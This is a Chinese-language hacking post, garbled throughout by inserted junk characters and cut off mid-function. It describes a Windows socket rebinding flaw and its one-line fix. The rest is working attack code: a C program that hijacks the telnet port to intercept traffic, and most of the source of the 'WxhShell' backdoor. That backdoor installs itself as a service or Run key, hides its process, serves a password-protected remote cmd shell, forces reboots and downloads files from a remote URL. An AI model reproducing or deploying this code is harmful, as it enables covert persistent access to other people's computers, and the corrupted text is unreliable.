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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: " VSma s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qW9~S0sl 0JV|wd8j saddr.sin_family = AF_INET; ,4S6F HK '2S?4Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); p</V_BIW ;PWx#v+vwF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1&utf0TX6q OUtMel_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~s)
`y2Y <USr$ 这意味着什么?意味着可以进行如下的攻击: p4wx&VLi Q;2n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |@pn=wW G@1T!` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |SwW*C I8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E:$r" oS OF 1Qr bj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b|u0a6 q,.@<s W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y|F~w~Cb Y86mg7[U/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f^@DuI kD_616 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L9,O,f PsyXt5Dk #include (aSY.#; #include _F tI2G9 #include U3M;6j9` #include .=/TT|eMS DWORD WINAPI ClientThread(LPVOID lpParam); >VB*Xt\C& int main() !2]'S=Y { -zH` 9>J5| WORD wVersionRequested; Ydh+iLjhx DWORD ret; DM3 %+ xY WSADATA wsaData; YC =:W BOOL val; oNIt<T SOCKADDR_IN saddr; IF<<6.tz SOCKADDR_IN scaddr; kZ<"hsh,Y' int err; v|; }}ol SOCKET s; fH?s~X] SOCKET sc; [?moS! int caddsize; Kb*X2#;* HANDLE mt; !)LVZfQ0 DWORD tid; eBg:[44V wVersionRequested = MAKEWORD( 2, 2 ); I+']av8e err = WSAStartup( wVersionRequested, &wsaData ); #0 eop>O if ( err != 0 ) { QK(w2` printf("error!WSAStartup failed!\n"); .%x%(olf return -1; V-w{~ } Y]:Ch (Q saddr.sin_family = AF_INET; |&AZ95v Tu_4kUCR!f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^y<8&ZFH 6"u"B-cz saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iJ!p9E*( saddr.sin_port = htons(23); k/2TvEV3= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -=a,FDeR { 0E/,l``p printf("error!socket failed!\n"); ^?-wov$
return -1; %p8#pt\$7 } w)xfP^M# val = TRUE; i
3i //SO_REUSEADDR选项就是可以实现端口重绑定的 d9.~W5^fC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m-MfFEZ { "aJfW printf("error!setsockopt failed!\n"); Q;0g return -1; th`pf } GfL:0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .[C@p`DZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,]_<8@R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /=S\v<z &v g[k#5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8m 5T
{ -^&NwLEv= ret=GetLastError(); W?R@ eq.9 printf("error!bind failed!\n"); 7'idjcR return -1; %>!$eCX } ,V.Bzf%=O listen(s,2); =RjseTS while(1) 2dJP|T9H { 7 L$\S[E caddsize = sizeof(scaddr); *`~]XM@H //接受连接请求 pMLTXqL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l$g \t] if(sc!=INVALID_SOCKET) =a!_H=+4 { \<W/Z.}/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fu[<zA^ if(mt==NULL) y4j\y
?
T8 { H_d^Xk QZ printf("Thread Creat Failed!\n"); -DL"Yw} break; dd:vQOF; } >h{)7Hv } }}gtz-w CloseHandle(mt); 4{CeV7 } 0Q!/A5z closesocket(s); uXo? WSACleanup(); cN%@
nW0i return 0; KK,
t !a } _o'a|=Osx> DWORD WINAPI ClientThread(LPVOID lpParam) |wGmu&fY { EClx+tz;` SOCKET ss = (SOCKET)lpParam; \x<i6&. SOCKET sc; -SUK [<=X unsigned char buf[4096]; aXh~w<5F SOCKADDR_IN saddr; )8*}-z long num; \"1%>O* DWORD val; XS=f>e1<W DWORD ret; }0AoV&75 //如果是隐藏端口应用的话,可以在此处加一些判断 @|EWif| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 sr-tZ^d5S? saddr.sin_family = AF_INET; e&-MP;kgW9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Fuy"JmeR
saddr.sin_port = htons(23); Wg\MaZ6Di if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BI+x6S>d { P`AW8Y6o printf("error!socket failed!\n"); =2e{T J/ return -1; ~'w]%rh! } fxknfgbg val = 100; UT_kw}1o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =buarxk { #MUY! ret = GetLastError(); : 22)` ;0 return -1; QzVo U | } YT'olk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P71] Z { t 09-y ret = GetLastError(); ?.^n,[2 return -1; i'p6# } z>z9xG' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :pvB}RYD { /p$+oA+ printf("error!socket connect failed!\n"); TGHyBPJb closesocket(sc); (Rh$0^)A closesocket(ss); 2hsRYh return -1; uSUog+i } C2H2*" while(1) W#kd[Wi { @]7s`? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {'sp8:$a //如果是嗅探内容的话,可以再此处进行内容分析和记录 %\T#Ik~3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m\G45%m num = recv(ss,buf,4096,0);
*R3^:Y& if(num>0) )3.=)?XW send(sc,buf,num,0); [xo-ZDIoG else if(num==0) {$Z
S
27 break; Tly*i"[& num = recv(sc,buf,4096,0); SvQ!n4 $ if(num>0) *yYeqm send(ss,buf,num,0); 8(g}/%1mt3 else if(num==0) p# JPLCs break; ';xp+,'}\ } #=N6[:, closesocket(ss); @6b4YV
h closesocket(sc); uc aa;zj return 0 ; r-o+NV } @cc}[Uw4B lJdrrR)wg ai"N;1/1O| ========================================================== 8Y [4JXUK T&'LQZM8 下边附上一个代码,,WXhSHELL CbFO9q : +f6:3 ========================================================== +]p/.-Uw E]W
: #include "stdafx.h" ndu$N$7+ |k#EYf#Y #include <stdio.h> pgPm0+N
#include <string.h> E+cx8( #include <windows.h> MavidkS
#include <winsock2.h> \%_sL#? #include <winsvc.h> b%7zu}F #include <urlmon.h> N?IdaVLj }Z)YK}_1 #pragma comment (lib, "Ws2_32.lib") Q w)U #pragma comment (lib, "urlmon.lib") e!vWGnY Zn:]?%afdO #define MAX_USER 100 // 最大客户端连接数 kRV]`'u, #define BUF_SOCK 200 // sock buffer dF7`V J2 #define KEY_BUFF 255 // 输入 buffer W&HxMi 08/Tk+ #define REBOOT 0 // 重启 B.L _EIw #define SHUTDOWN 1 // 关机 poy_?7G Wr`<bLq1vs #define DEF_PORT 5000 // 监听端口 `+i/rc1. hPuF:iiQ4 #define REG_LEN 16 // 注册表键长度 a:KL{e[ #define SVC_LEN 80 // NT服务名长度 x>+sqFd\ 2M)E1q|a // 从dll定义API f9t+x+ Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I#;.;%u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3gYtu-1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xVTl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5b->pc -@Z9h)G| // wxhshell配置信息 KQ0f2? struct WSCFG { udPLWrPF\ int ws_port; // 监听端口 pm2] char ws_passstr[REG_LEN]; // 口令 ra8AUj~RX int ws_autoins; // 安装标记, 1=yes 0=no $3xDjiBb char ws_regname[REG_LEN]; // 注册表键名 h-fm)1S_ char ws_svcname[REG_LEN]; // 服务名 3;88a!AA! char ws_svcdisp[SVC_LEN]; // 服务显示名 |h6,.#n char ws_svcdesc[SVC_LEN]; // 服务描述信息 / 2MhP=, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WBR# Ux int ws_downexe; // 下载执行标记, 1=yes 0=no "n{JH9sA: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l!": s:/' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bl{W{?QI !Ej?9LHo }; [LrO"9q( zb s7G // default Wxhshell configuration VVfTFi< struct WSCFG wscfg={DEF_PORT, 9%2he)Yqc "xuhuanlingzhe", 92~$Qa\S! 1, (a"/cH "Wxhshell", sGE%zCB "Wxhshell", OW#G{#.6R "WxhShell Service", _+Z5qUmQ "Wrsky Windows CmdShell Service", j+e
s "Please Input Your Password: ", _#we1m 1, 8:2Vib$ " http://www.wrsky.com/wxhshell.exe", uX6p^KNm5 "Wxhshell.exe" *VUJ);7k }; UG4I@@=
IFW7MF9V // 消息定义模块 '<'5BeU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 93=?^ char *msg_ws_prompt="\n\r? for help\n\r#>"; V."cmtf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; v=cX.^L char *msg_ws_ext="\n\rExit."; ~du U& \ char *msg_ws_end="\n\rQuit."; wUL 5"\ char *msg_ws_boot="\n\rReboot..."; 3GrIHiCr char *msg_ws_poff="\n\rShutdown..."; ?1r<`o3l\ char *msg_ws_down="\n\rSave to "; eI%kxqc &qM8)2Y char *msg_ws_err="\n\rErr!"; (M{>9rk8 char *msg_ws_ok="\n\rOK!"; 4UND;I& [;UI8Stw char ExeFile[MAX_PATH]; GNSh`Tm =# int nUser = 0; 5W=Jn?y2 HANDLE handles[MAX_USER]; m -0EcA/ int OsIsNt; #99 =wn 7~;)N$d\ SERVICE_STATUS serviceStatus; hZWkw{c SERVICE_STATUS_HANDLE hServiceStatusHandle; "U$](k.<VA 2B5Ez,'#x // 函数声明 o_5[}d int Install(void); n/e ,jw int Uninstall(void); !#W3Q int DownloadFile(char *sURL, SOCKET wsh); dp4vybJ int Boot(int flag); M.bkFuh void HideProc(void); ?}= $zN int GetOsVer(void); 7 4&{GCL int Wxhshell(SOCKET wsl); Spn)M79 void TalkWithClient(void *cs); BkY#wJ' int CmdShell(SOCKET sock); ab#z&jg! int StartFromService(void); P@%L.y
B int StartWxhshell(LPSTR lpCmdLine); jy_4W!4a :Ys
;)W+R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ >
?C VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^/#8 " h"'}Z^ // 数据结构和表定义 )1$H7| SERVICE_TABLE_ENTRY DispatchTable[] = kq([c r { \tY7Ga%c {wscfg.ws_svcname, NTServiceMain}, L\!Oj5 {NULL, NULL} N8=-=]0G }; aOQT-C[
O keStK8 // 自我安装 o)$eIu}Wg int Install(void) 8VuLL<\| { -BWWaL char svExeFile[MAX_PATH]; cl |}0Q5 HKEY key; IRTWmT
jT strcpy(svExeFile,ExeFile); S~&9DQNj }:QoY Nq // 如果是win9x系统,修改注册表设为自启动 N vTp1kI] if(!OsIsNt) { G:`So if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KC%&or RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W|(<z'S RegCloseKey(key); D&pX0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *SlWA)9Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V#R; -C RegCloseKey(key); ZI8@ 6 L\ return 0; -Owb@Nw
} 7Jd&9&O U } J6ed } px(~ZZB" else { Lr(JnS ="PFCxi // 如果是NT以上系统,安装为系统服务 PO^#G@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (ak&>pk; if (schSCManager!=0) UUa@7|x { K$B~vy6E` SC_HANDLE schService = CreateService 66$hdT$ ( bH :C/P<x schSCManager, hlz/TIP^N3 wscfg.ws_svcname, G*~CB\K_ wscfg.ws_svcdisp, Xq "Es SERVICE_ALL_ACCESS, 9l:[jsk<d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5 PP^w~n SERVICE_AUTO_START, 8*|*@ SERVICE_ERROR_NORMAL, Dtyw]|L\H svExeFile, 8i<]$ NULL, `B,R+==G: NULL, sGpAaGY> NULL, 51*[Ibx NULL, .q!i
+0 NULL ~=<uYv?0s ); Cv4nl7A' if (schService!=0) $iA:3DM07 { /CbiYm CloseServiceHandle(schService); ,]y_[]636 CloseServiceHandle(schSCManager); 6&L;Sw#Dg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $vn)(zn+ strcat(svExeFile,wscfg.ws_svcname); Bgp%hK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fZ^ad1o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~y
whl'"k RegCloseKey(key); JNP6qM return 0; ^t$uDQ[hA } ps:E(\ } n36iY'<) G CloseServiceHandle(schSCManager); "$ISun=8 } gA3f@7}d } }]<|`FNc fN:FD` return 1; S@y?E} } {A5$8)nl| ;lt8~ea // 自我卸载 uD[T l int Uninstall(void) 77wod}h!: { ,DEcCHr, HKEY key; ^g"p}zf
L" Vi0D>4{+ if(!OsIsNt) { QjYw^[o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %;<g!Vw.k RegDeleteValue(key,wscfg.ws_regname); L|;sB=$'{ RegCloseKey(key); ZF8`=D`:R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !DHfw-1K RegDeleteValue(key,wscfg.ws_regname); P^U.VXY} RegCloseKey(key); Vock19P return 0; 4$U^)\06W } /;!I.|j } E]S:F3 } K$r)^K=s else { .YP&E1lNi @2hOy@V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }9!}T~NMs if (schSCManager!=0) uc|ej9N { q!~DCv df SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %|>D{q6C if (schService!=0) $D D esy3 { oMOh4NH,x if(DeleteService(schService)!=0) { 6Tc!=lk CloseServiceHandle(schService); e@/' o/ CloseServiceHandle(schSCManager); 6Ypc]ym=J return 0; oq|`;k } _A0X[}^K CloseServiceHandle(schService); nE2?3 S> } BN&}g}N CloseServiceHandle(schSCManager); c6y>]8_ } ,dVJAV7v } 3-kL0Q[" sYvlf0 return 1; IS;[oJef } @2-;,VL3 9`? M-U // 从指定url下载文件 V'UFc>{o int DownloadFile(char *sURL, SOCKET wsh) PtzT>< { F" 4;nU HRESULT hr; j |o&T41 char seps[]= "/"; :uC9 #H"b char *token; S/RChg_L5 char *file; (Jk[%_b>_ char myURL[MAX_PATH]; b)E<b{'W char myFILE[MAX_PATH]; o|#F@L3i [,MK)7DU strcpy(myURL,sURL); 0"ooHP$1 token=strtok(myURL,seps); tF./Jx]_ while(token!=NULL) pF8+<
T3y { ELG9ts+5Uj file=token; G%=
gCR token=strtok(NULL,seps); (hIo0. } 9wO2`e ) /N obS'd GetCurrentDirectory(MAX_PATH,myFILE); v(Sh+p strcat(myFILE, "\\"); ?,%PemN strcat(myFILE, file); whrDw1>( send(wsh,myFILE,strlen(myFILE),0); BNFYUcVP send(wsh,"...",3,0); S_RP&+!7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |Q";a:&$ if(hr==S_OK) ,e'"SVQc return 0; Np+pJc1 else -w5sXnS return 1; j'hWhLax I:YgKs)[ } Gi2Fjq/Y *Tr{a_{~C // 系统电源模块 8F's9c, int Boot(int flag) } j;es(~D { mG0_&'"YIG HANDLE hToken; m&be55M; TOKEN_PRIVILEGES tkp; 3"k n5)x ^=PY6! iW if(OsIsNt) { P:3o}CB1I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r}:U'zlC{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -z
se+]O` tkp.PrivilegeCount = 1; UFUEY/q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NLxR6O4}8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "ctZ"* if(flag==REBOOT) { 2$A "{2G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J |UFuD return 0; S-</(,E}| } }m7$,'C%P else { )ZFc5m^+u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DnW/q return 0; &F Yv4J } `~41>mM% } &!M6{O=~ else {
a3a:H if(flag==REBOOT) { q(1hY"S"}b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~C3Ada@4 return 0; 3*(><<ZC } yx ;K&> else { +kD JZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +>$Kmy[3 return 0; s'IB{lJ9 } l
m(mY$B*_ } >$=l;jO`n xh!T,|IR return 1; Gm0}KU } A:pD:}fm}D
?.beN[X // win9x进程隐藏模块 h|lH`m^ void HideProc(void) yT='V1 { >Ad`_g6Wew ,Ik~E&Ku2' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `@vksjxu if ( hKernel != NULL ) [~`p~@\+ { P4|A\|t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 141xi;o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bUSa#pNO> FreeLibrary(hKernel); l7IF9b$c } 2pP"dX k5+ Fxf return; t'.:"H8BI } }"v#_vJfz7 >}JEX]V // 获取操作系统版本 }LLQ+ int GetOsVer(void) 5 [4{1v { Re'3 bs:+ OSVERSIONINFO winfo; HYY+Fv5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q|2*V1"r<2 GetVersionEx(&winfo); t"e %'dFv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U^qS[HM return 1; Z,M2vRj"qT else :/t_5QN return 0; 8|5+\1!#/) } 6Lg#co}9 C#3&,G W // 客户端句柄模块 0V`~z-# int Wxhshell(SOCKET wsl) ZjrBOb { ej=}OH4 SOCKET wsh; :
Cli8# struct sockaddr_in client; Wc;N;K52 DWORD myID; roe_H> <yvo<R^30 while(nUser<MAX_USER) F"3'~6 { c+8 Y|GB int nSize=sizeof(client); _x,(576~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /ZH* t \ if(wsh==INVALID_SOCKET) return 1; NJOV!\k 6KPjZC< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TB84} if(handles[nUser]==0) QA)W( 1 closesocket(wsh); ilZ5a&X; else !0):g/2h nUser++; &+H\ST(/ } I'N!j>5oX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BuxU+ <DII%7q,6/ return 0; Vf=,@7 } l\d[S] ^v:XON< // 关闭 socket EZhk(LE void CloseIt(SOCKET wsh) mGoC8t}iP { mD*!<<Sw closesocket(wsh); P4c}@Mq3 nUser--; .SSPJY(
ExitThread(0); HL:w*8a } Z1;+a+S=z #$!^1yO // 客户端请求句柄 ?g0dr?H void TalkWithClient(void *cs) {Hvkn{{' { ]+tO ]@ Vp:RGMr SOCKET wsh=(SOCKET)cs; Y$+v " char pwd[SVC_LEN]; 2^U?Ztth6 char cmd[KEY_BUFF]; Xd1+?2 char chr[1]; fWDTP|DV int i,j; gT,iH. r]wy-GT while (nUser < MAX_USER) { BV\~Dm]" IA}.{zY~| if(wscfg.ws_passstr) { /1= x8Sb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n^l5M^. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I+jc //ZeroMemory(pwd,KEY_BUFF); |O"Pb`V+ i=0; 'gsO}xj while(i<SVC_LEN) { yHZ&5 Wv,?xm // 设置超时 'kg~#cf/+ fd_set FdRead; U2\k7I struct timeval TimeOut; H;Gs0Qi; FD_ZERO(&FdRead); Lu[Hz8 FD_SET(wsh,&FdRead); v^[!NygShs TimeOut.tv_sec=8; WW7E*kc TimeOut.tv_usec=0; oB'5': int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); th0>u.hJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >km$zfM2- pNu?DF{
3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,I,Zl.5 pwd =chr[0]; [g+WL\1 if(chr[0]==0xd || chr[0]==0xa) { G,(Xz"`, pwd=0; i"E_nN"V break; {~ w! } xZloEfv.B i++; U-{3HHA } S>"C}F$X Cwji,* // 如果是非法用户,关闭 socket E|6@h8# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @9k/od@mW } \Z~
<jv l9H-N*Wx send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X6?Gxf, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yDpv+6(a H3Zt3l1u+ while(1) { 1Eryw~,,9i a<((\c_8G ZeroMemory(cmd,KEY_BUFF); *;lb<uLv xz7CnW1 // 自动支持客户端 telnet标准 F^=y+}]= j=0; jo0XOs while(j<KEY_BUFF) { /u"Iq8QA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ie8K[ > cmd[j]=chr[0]; E!,jTaZz if(chr[0]==0xa || chr[0]==0xd) { x"Ij+~i{l cmd[j]=0; V@1,((,l break; c5[~2e } R F;u1vEQ8 j++; E
<r;J } :`4LV 5yroi@KT // 下载文件 %@C$xM" if(strstr(cmd,"http://")) { fRzJiM{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); T+!0`~` if(DownloadFile(cmd,wsh)) s>TC~d82 send(wsh,msg_ws_err,strlen(msg_ws_err),0); x LK,Je else u (`7F(R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e.!~7c_z? } W,nn,% else { 1X?q4D" \PmM856=ms switch(cmd[0]) { H;FzWcm c&`]O\D-c // 帮助 F-Ku0z]){? case '?': { eN m
Wul send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KXu1%`x=%Z break; XhOg> } iX>)6)uJ // 安装 |%(qaPA1 case 'i': { Y@b|/+ if(Install()) K-@cn*6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); /j\.~=,_ else ` ^z
l = send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); of`WP break;
3BB/u%N} } hXx:D3h // 卸载 a1v?{vu\E case 'r': { g{m~TVm' if(Uninstall()) X(C=O?A send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Fu(IuD else JS&;7Z$KX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /T 4GPi\lg break; VB4ir\nF } t & 5s. // 显示 wxhshell 所在路径 h>/L4j*Z case 'p': { N,ZmGzNP) char svExeFile[MAX_PATH]; Mo4igP strcpy(svExeFile,"\n\r"); krXU*64 strcat(svExeFile,ExeFile); u>2opI~m send(wsh,svExeFile,strlen(svExeFile),0); yJ8_<A break; 9}d^ll& } TZObjSm_v // 重启
lhF)$M case 'b': { !@
)JqF. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Msc:7:L if(Boot(REBOOT)) 3gW+|3E send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fc+B_ else { hWr}Uui closesocket(wsh); m;u :_4 ExitThread(0); BR~+CBH } asYUb&Hz88 break; _^F%$K6 } =jRC4]M}) // 关机 QEY#U| case 'd': { byIP]7Ld send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {\
BFWGX if(Boot(SHUTDOWN)) "s\himoa send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lo +H&- else { G-DOI closesocket(wsh); }wGy#!CSza ExitThread(0); ESkhCDU } [iN\R+: break; kg$w<C@#" } sg_%=; // 获取shell 9]a!1 case 's': { bX+"G}CRP CmdShell(wsh); er>@- F7w closesocket(wsh); v+d? #^ ExitThread(0); MAgoxq~;V break; -qB{TA-.\ } K- TLzoYA // 退出 3MHByT% case 'x': { R=L-Ulhk send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ER<Z!*2 CloseIt(wsh); snny!
0E\m break; W0# VD e]> } @P<Mc)o^ // 离开 ` =I@W case 'q': { ],f%:
?%50 send(wsh,msg_ws_end,strlen(msg_ws_end),0); FW"gj\
closesocket(wsh); b*cVC^{Dy WSACleanup(); 6
$+b2&V exit(1); p@+D$ break; eg>]{`WQ } oD%B'{Zs4 } ;VgB! } ^FK-e;J EA<x$O // 提示信息 NO.5Vy if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b!z=: } ?"T *{8 } dijHi bO+L#Kf return; uBo~PiJ2" } #!]~E@;E 2?c%<_jPA // shell模块句柄 ;VPYWss int CmdShell(SOCKET sock) ljk,R
G { >F;yfv; STARTUPINFO si; PKt;]T0 ZeroMemory(&si,sizeof(si)); @}A3ie'w si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lFc^y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @)3orH PROCESS_INFORMATION ProcessInfo; ~@'DYZb-
H char cmdline[]="cmd"; jN sM&s, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w#RfD return 0; gPy}.g{tH$ } ]{pH,vk- #(r1b'jfP // 自身启动模式 s^-o_K\*c int StartFromService(void) o1rH@ D6/- { v cb}Gk typedef struct ~> 5 { AF"XsEt.e DWORD ExitStatus; W^1)70<y DWORD PebBaseAddress; 8,?*eYNjb DWORD AffinityMask; QQX7p!~E DWORD BasePriority; l AZBlO ULONG UniqueProcessId; Zs}EGC~& ULONG InheritedFromUniqueProcessId; )|L#i2?: } PROCESS_BASIC_INFORMATION; -!:h] m~vEandm PROCNTQSIP NtQueryInformationProcess; 1IZTo!xi
BPC> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n,%/cUl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jg=}l1M" wXU gxa HANDLE hProcess; LKu
